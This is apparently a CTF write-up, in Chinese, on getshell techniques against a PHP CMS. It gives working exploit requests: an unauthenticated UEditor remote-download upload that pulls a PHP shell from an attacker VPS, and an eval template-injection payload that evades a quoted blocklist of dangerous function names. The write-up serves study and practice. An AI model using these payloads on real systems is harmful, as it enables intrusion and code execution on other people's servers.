这比赛学到很多。i了i了
Hacked_By_V
后台模板管理处插入php标签。然后直接访问前台对应的渲染模板
得到绝对路径
写shell
Web根目录。读取flag一把梭
Hacked_By_Wendell
远程文件下载getshell。。Nday了。。19年爆出的洞
https://www.cnblogs.com/admans/p/11947507.html
在插件目录下。ueditor的控制器中。有文件上传等功能。并且能未授权访问
追踪safe_url
function safe_url( $s, $len=255) {
preg_match_all('/[a-zA-Z0-9,.:=@?_\/\s]/u',$s,$result);
$temp =join('',$result[0]);
$s = substr( $temp, 0, $len );
return $s;
}
url中只能出现a-zA-Z0-9和?@=这些字符
然后继续看down_url函数。
function down_url( $url, $save_dir='file', $filename = '', $type = 0 ) {
if ( is_null( $url ) ) return array( 'msg' => '内容为空', 'state' => 'ERROR', 'error' => 1 );
$save_dir = SITE_DIR.conf('uploadpath').$save_dir.'/';
//自定义保存路径
if ( trim( $filename ) == '' ) {
//调用down_url函数没指定filename时。根据url来得到filename和fileext
$filename = file_name( $url );
$file_ext = file_ext( $url );
}else{
$file_ext = file_ext( $url );
}
if(empty($file_ext)) return array( 'msg' => '创建文件失败,禁止创建空文件!', 'state' => 'ERROR','error' => 5 );
$allext=conf('imageext').conf('fileext').conf('videoext');
//后缀名限制
if(!in_array($file_ext,splits($allext,','))){
return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR', 'error' => 5 );
}
if ( !file_exists( $save_dir ) && !mkdir( $save_dir, 0777, true ) ) {
return array( 'msg' => '创建文件夹失败', 'state' => 'ERROR', 'error' => 5 );
}
$file_dir = $save_dir . $filename;
//设置最后的文件名。注意。这里调用的是$filename。而不是$ext。这个漏洞正是由于ext和filename的差异绕过判断
$file_path = str_replace( SITE_DIR, SITE_PATH, $file_dir );
if ( file_exists( $file_dir ) ) del_file( $file_dir );
//获取远程文件所采用的方法
if ( $type ) {
$ch = curl_init();
$timeout = 5;
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
$img = curl_exec( $ch );
curl_close( $ch );
} else {
ob_start();
readfile( $url );
$img = ob_get_contents();
ob_end_clean();
}
//通过readfile去访问我们的URL
$fp2 = @fopen( $file_dir, 'a' );
//写入文件,内容是$img.也就是readfile访问url的内容
fwrite( $fp2, $img );
fclose( $fp2 );
unset( $img, $url );
return array('state'=> 'SUCCESS','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'url' => $file_path, 'error' => 0 );
}
源码处理大致如下
1。接受action指定处理函数。然后upfolder自定义路径
2。POST一个source数组传递请求URL。然后带入file_name和file_ext处理
3。判断file_ext得到的后缀名。如果不是允许的类型就退出
4。写入文件。文件名就是URL的文件名。值就是请求文件得到的值
现在就要绕过这个后缀名限制了
经过调试。可以发现file_ext函数。将URL以?分隔。然后取第1个值。也就是http://127.0.0.1/1.jpg
然后以点截取后缀名。得到.jpg
继续看file_name函数。就是单纯的以/分隔。直接取1.jpg?1.php当文件名
这就造成了差异。
总结:
file_ext进入后缀名检测。由于是jpg。所以可以绕过后缀名检测。
然后请求htp://xxxx/1.jpg?1.php。请求的时候。会把?1.php当参数。实际请求的还是1.jpg
而写入文件时。把1.jpg?1.php当文件名。写入1.jpg的内容。这就getshell了
利用:
VPS上放1.jpg。内容为代码。然后访问http://VPS/1.jpg?1.php
exp:
plugins/ueditor/php/controller.php?action=catchimage&upfolder=guoke
source[]=http://VPS/1.jpg?1.php
dangerous-function
模板注入
全局搜索eval。在inc/zzz_template.php中parserIfLabel函数。有个if标签解析点
在parserCommom函数处调用了parserIfLabel函数
在zzz_client.php中又调用了parserCommom函数
在search/index.php中包含了zzz_client.php
在Web主页有个搜索框。搜索下。得到参数。
本地搭个环境。输出下eval的值。
然后就开始利用了。。
发现有部分字符被替换了。
找到zzz_main.php
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
foreach ($danger as $val){
if(stripos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}
开始利用。成功输出2
利用之前哪个比赛来着。。。用base_convert转换得到hex。然后hex2bin得到字符。show_source得到flag
Exp:
keys={if:1)show_source(hex2bin(base_convert(203581841767,10,16)));die();//}{end if}